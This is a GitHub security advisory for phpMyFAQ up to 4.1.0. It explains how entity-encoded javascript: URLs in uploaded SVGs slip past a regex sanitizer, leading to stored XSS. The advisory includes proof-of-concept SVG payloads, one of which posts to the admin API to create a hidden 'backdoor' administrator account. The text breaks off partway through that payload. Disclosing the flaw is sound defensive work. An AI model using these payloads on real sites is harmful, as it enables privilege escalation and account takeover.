GitHub Security Advisory: GHSA-5crx-pfhq-4hgg
Package: thorsten/phpmyfaq (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 4.1.0
Patched in: 4.1.1

Summary: phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation

Details:
### Summary
The regex-based SVG sanitizer in phpMyFAQ (`SvgSanitizer.php`) can be bypassed using HTML entity encoding in `javascript:` URLs within SVG `<a href>` attributes. Any user with `edit_faq` permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.

### Details
The file `phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php` (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for `javascript:` URL detection is:

`/href\s*=\s*["\']javascript:[^"\']*["\']/i`

This pattern matches the literal string `javascript:` but fails when the URL is HTML entity encoded. For example, `&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;` decodes to `javascript:` in the browser, but does NOT match the regex. The `isSafe()` method returns `true`, so the SVG is accepted without sanitization.

Additionally, the `DANGEROUS_ELEMENTS` blocklist misses `<animate>`, `<set>`, and `<use>` elements which can also be used to execute JavaScript in SVG context.

Uploaded SVG files are served with `Content-Type: image/svg+xml` and no `Content-Disposition: attachment` header, so browsers render them inline and execute any JavaScript they contain.

The image upload endpoint (`/admin/api/content/images`) only requires the `edit_faq` permission — not full admin — so any editor-level user can upload malicious SVGs.

### PoC
### Basic XSS (confirmed working in Chrome 146 and Edge)

1. Login to phpMyFAQ admin panel with any account that has `edit_faq` permission
2. Navigate to Admin → Content → Add New FAQ
3. In the TinyMCE editor, click the image upload button
4. Upload this SVG file:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
  <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(document.domain)">
    <text x="20" y="50" font-size="16" fill="red">Click for XSS</text>
  </a>
</svg>
```

5. The SVG is uploaded to `/content/user/images/<timestamp>_<filename>.svg`
6. Open the SVG URL directly in a browser
7. Click the red text → `alert(document.domain)` executes

### Privilege Escalation (Editor → Admin Takeover)

1. As editor, upload this SVG:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 300">
  <rect width="500" height="300" fill="#f8f9fa"/>
  <text x="250" y="100" text-anchor="middle" font-size="22" fill="#333">📋 System Notice</text>
  <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',user[CREDENTIAL_REDACTED]',realName:'System',email:'evil@attacker.com','is-visible':false}),credentials:'include'}).then(r=>r.json()).then(d=>document.title='pwned')">
    <rect x="150" y="170" width="200" height="50" rx="8" fill="#0d6efd"/>
    <text x="250